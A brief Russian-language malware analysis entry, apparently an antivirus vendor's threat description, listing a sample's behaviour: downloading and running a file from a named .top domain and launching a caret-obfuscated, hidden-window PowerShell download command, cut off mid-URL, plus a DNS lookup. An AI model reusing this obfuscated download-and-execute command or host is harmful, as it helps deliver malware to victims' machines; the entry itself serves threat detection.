Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PowershELL.E^x^E^ ^-eXEC^U^TI^O^np^oLiC^Y^ BYp^Ass -^No^PrOFiLE^ ^-^w^IndOws^tyle^ h^iDdE^n (N^Ew-O^bJE^Ct S^y^SteM.N^ET^.WE^Bc^L^i^enT).^dOwn^LoaDF^i^le('http://newyeargoka....
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PowershELL.E^x^E^ ^-eXEC^U^TI^O^np^oLiC^Y^ BYp^Ass -^No^PrOFiLE^ ^-^w^IndOws^tyle^ h^iDdE^n (N^Ew-O^bJE^Ct S^y^SteM.N^ET^.WE^Bc^L^i^enT).^dOwn^LoaDF^i^le('http://newyeargoka....' (со скрытым окном)
